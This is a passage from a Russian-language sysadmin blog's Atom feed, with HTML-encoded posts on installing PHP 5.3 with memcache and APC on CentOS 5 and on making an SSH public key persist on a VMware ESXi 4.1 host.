#e60000;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;php53u-&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #bb7977;&quot;&gt;sed&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; awk &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;{ printf $1&quot; &quot; }&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; -y
&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
Установим пакеты&amp;nbsp;&lt;b&gt;memcache&lt;/b&gt; и &lt;b&gt;apc&lt;/b&gt;&amp;nbsp;расширения для &lt;b&gt;php&lt;/b&gt;&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;yum install php53u-pecl-memcache php53u-pecl-apc -y
&lt;span style=&quot;color: #bb7977;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;;apc&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;enabled&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;apc.enabled&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/php.d/apc.ini&lt;/span&gt;
&lt;span style=&quot;color: #bb7977;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;;apc&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;shm_size&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;apc.shm_size&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/php.d/apc.ini&lt;/span&gt;
&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
Установим&amp;nbsp;&lt;b&gt;memcached&lt;/b&gt;&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;yum install -y memcached
chkconfig --level &lt;span style=&quot;color: #c00000;&quot;&gt;2345&lt;/span&gt; memcached on
&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/memcached&lt;/span&gt; start
&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
Проверим работоспособность&amp;nbsp;&lt;b&gt;memcache&lt;/b&gt;&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;php -i &lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&amp;amp;1&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #bb7977;&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #44aadd;&quot;&gt;-i&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;memcache&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\ &lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;support&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;&#39;&lt;/span&gt;
&lt;/b&gt; memcache support =&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; enabled
&lt;/pre&gt;
&lt;/blockquote&gt;
И перезапустим &lt;b&gt;httpd&lt;/b&gt;&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/httpd&lt;/span&gt; restart
&lt;/b&gt; Stopping httpd&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                            &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 Starting httpd&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                            &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;


&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=aabdfb33-d51c-46af-833f-59f2b6a33792&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/8428526326418500588/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2012/09/php53u-memcache-apc-centos-5.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8428526326418500588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8428526326418500588'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2012/09/php53u-memcache-apc-centos-5.html' title='PHP53u + memcache + apc в CentOS 5'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-1567936312460929968</id><published>2012-08-28T11:42:00.000+07:00</published><updated>2012-09-27T20:14:48.860+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="DSA"/><category scheme="http://www.blogger.com/atom/ns#" term="Public-key cryptography"/><category scheme="http://www.blogger.com/atom/ns#" term="RSA"/><category scheme="http://www.blogger.com/atom/ns#" term="Secure Shell"/><category scheme="http://www.blogger.com/atom/ns#" term="ssh"/><category scheme="http://www.blogger.com/atom/ns#" term="VMware"/><category scheme="http://www.blogger.com/atom/ns#" term="VMware ESX"/><title type='text'>Прописываем статический public_key в VMware ESXi 4.1</title><content type='html'>&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container zemanta-img&quot; style=&quot;float: right; margin-right: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/File:VMware_Player_logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: clear:right;&quot;&gt;&lt;img alt=&quot;VMware Player&quot; border=&quot;0&quot; class=&quot;zemanta-img-inserted&quot; height=&quot;256&quot; src=&quot;http://upload.wikimedia.org/wikipedia/en/7/7d/VMware_Player_logo.png&quot; style=&quot;border: none; font-size: 0.8em;&quot; width=&quot;256&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption zemanta-img-attribution&quot; style=&quot;text-align: center; width: 256px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Для начала вы должны создать связку Public/Private ключей, разумеется если у вас их нет.&lt;br /&gt;
Как это делается вы можете прочесть &lt;a href=&quot;http://sc0rp1us.blogspot.com/2012/08/ssh-rsadsa.html&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Теперь можно скопировать ваш публичный ключ на &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.vmware.com/products/esxi/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;VMware ESX&quot;&gt;ESXi&lt;/a&gt; хост.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Secure_Shell&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Secure Shell&quot;&gt;ssh&lt;/a&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;copy&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;id root&lt;span style=&quot;background-color: #dd0000; background-position: initial initial; background-repeat: initial initial; color: white; font-style: italic;&quot;&gt;@esxi&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;host
&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
И на конец подключимся к &lt;b&gt;esxi&lt;/b&gt; хосту,&amp;nbsp;заархивируем&amp;nbsp;каталог &lt;b&gt;.ssh&lt;/b&gt; и скажем гипервизору, чтобы архив &amp;nbsp;&lt;b&gt;public_key.tgz&lt;/b&gt;&amp;nbsp;распаковывался при каждой загрузке системы.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;ssh root&lt;span style=&quot;background-color: #dd0000; background-position: initial initial; background-repeat: initial initial; color: white; font-style: italic;&quot;&gt;@esxi&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;host
&lt;/b&gt; X11 forwarding request failed on channel &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;
 You have activated &lt;a class=&quot;zem_slink&quot; href=&quot;http://friendfeed.com/tech-support&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Tech Support&quot;&gt;Tech Support&lt;/a&gt; Mode&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;
 The &lt;span style=&quot;color: #800040;&quot;&gt;time&lt;/span&gt; and date of &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;this&lt;/span&gt; activation have been sent to the &lt;span style=&quot;color: #800040;&quot;&gt;system&lt;/span&gt; logs &lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;

 &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.vmware.com/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;VMware&quot;&gt;VMware&lt;/a&gt; offers supported&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt; powerful &lt;span style=&quot;color: #800040;&quot;&gt;system&lt;/span&gt; administration tools&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;  Please
 see www&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;vmware&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;com&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;go&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;sysadmintools &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;for&lt;/span&gt; details&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;

 Tech Support Mode may be disabled by an administrative user&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;
 Please consult the ESXi Configuration Guide &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;for&lt;/span&gt; additional 
 important information&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;

&lt;span style=&quot;color: #806030;&quot;&gt;~&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;#&lt;/span&gt; &lt;b&gt;tar &lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;C &lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;czf public_key&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;tgz &lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;ssh&lt;/b&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;~&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;#&lt;/span&gt; &lt;b&gt;BootModuleConfig&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;sh &lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;add&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;public_key&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;tgz &lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;verbose&lt;/b&gt;
 Acquiring lock &lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;tmp&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;bootbank&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;lck
 Copying public_key&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;tgz to &lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;bootbank&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;public_key&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;tgz
 Editing &lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;bootbank&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;boot&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;cfg to add module public_key&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;tgz
&lt;span style=&quot;color: #806030;&quot;&gt;~&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;#&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;&lt;b&gt;exit&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;~&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;#&lt;/span&gt; Connection to esxi&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;host closed by remote host&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;
Connection to esxi&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;host closed&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
Всё!!!&lt;br /&gt;


&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=4cb100b9-60a5-4ae3-b07f-a463e92dd0fc&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/1567936312460929968/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2012/08/publickey-vmware-esxi-41.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/1567936312460929968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/1567936312460929968'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2012/08/publickey-vmware-esxi-41.html' title='Прописываем статический public_key в VMware ESXi 4.1'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>